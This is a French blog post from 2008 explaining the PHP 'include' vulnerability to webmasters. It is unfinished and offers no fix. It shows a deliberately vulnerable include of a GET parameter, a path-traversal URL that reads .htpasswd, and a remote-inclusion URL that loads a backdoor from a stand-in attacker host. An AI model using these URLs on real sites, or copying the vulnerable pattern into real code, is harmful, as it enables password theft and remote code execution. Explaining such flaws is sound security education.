mercredi 18 juin 2008
La "faille Include"
Par Micky, mercredi 18 juin 2008 à 17:45 dans Failles web
Introduction
Cette faille est à ce jour heureusement absente sur la majorité des sites.
Cependant, quelques webmasters n'ont pas corrigé cette faille, et d'autres n'en ont pas conscience.
Mode de fonctionnement
Cette faille se situe dans la structure du site, plus précisément sur certains type d'architectures, où un morceau de code est chargé d'afficher dynamiquement la page demandée. Ainsi l'utilisateur suivant le lien http://www.securem.eu/index.php?page=accueil verra une page qui sera en réalité http://www.securem.eu/accueil.php
<?php // On peut imaginer qu'ici se trouvera le code commun à toutes les pages : // Structure XHTML (header, etc...) ainsi que des inclusions aux fichiers tels que header.inc.php (qui contient les fonctions pour le site) $page = $_GET['page']; // Récupération du nom de la page demandée include('pages/'.$page.'.php'); // Inclusion sur la page // Ici le footer ?>Niveau fonctionnel, tout est censé bien marcher: un appel à http://www.securem.eu/index.php?page=accueil affiche bien la page pages/accueil.php.
Cependant, que se passe-t-il si une personne mal intentionnée appelle "http://www.securem.eu/index.php?page=" par exemple ?
Si la configuration le permet, une erreur sera affichée:
Warning: include(pages/.php) [function.main]: failed to open stream: No such file or directory in index.php on line 2En effet, on essaie d'appeler une page qui n'existe pas.
Et ensuite ? Qu'est-ce que ça change qu'un hacker obtienne cette erreur ? C'est pas grave, elle est pas si redoutable cette faille include !
Ooh ! Comment pouvez-vous dire ça !? Cette faille ne permet pas qu'obtenir ce message (qui nous donne des informations sur la structure du site: il y a un dossier /pages contenant des morceaux de code à afficher...
Maintenant, que se passe-t-il si j'appelle http://www.securem.eu/index.php?page=../.htpasswd ? Alors, vous commencez à comprendre ? Eh oui, le htaccess sera affiché en clair ! Je suis en effet remonté dans le dossier parent grâce à ../ et j'ai inclus le fichier .htpasswd, qui contient, je le rappelle, les mots de passe des dossiers sécurisés par un .htaccess.
Note: Le .htpasswd ne s'appelle pas forcément ainsi et n'est pas toujours situé à la racine du site !
Vous comprenez l'ampleur de cette faille ? Pas encore je crois. Alors imaginez ça:
http://www.securem.eu/index.php?page=http://piraaate.fr/backdoor.phpQue va-t-il se passer ? La page backdoor.php sera incluse et... exécutée ! Ainsi, un pirate peut exécuter son propre code sur VOTRE serveur !
Avec un peu d'imagination et grâce à certaines fonctions PHP, on peut voir l'arborescence de votre site, visualiser le fichier de configuration et obtenir ainsi un accès libre et direct à la base de données. Le pirate peut donc contrôler totalement votre site !
Note: il faut que le serveur piraaate.fr n'exécute pas le code PHP, ou bien l'affiche sans l'exécuter, sinon il sera exécuter sur ce serveur et non sur le serveur cible. De plus, les dernières versions de PHP empêchent l'inclusion d'un fichier sur un serveur distant.
[Rédaction en cours]


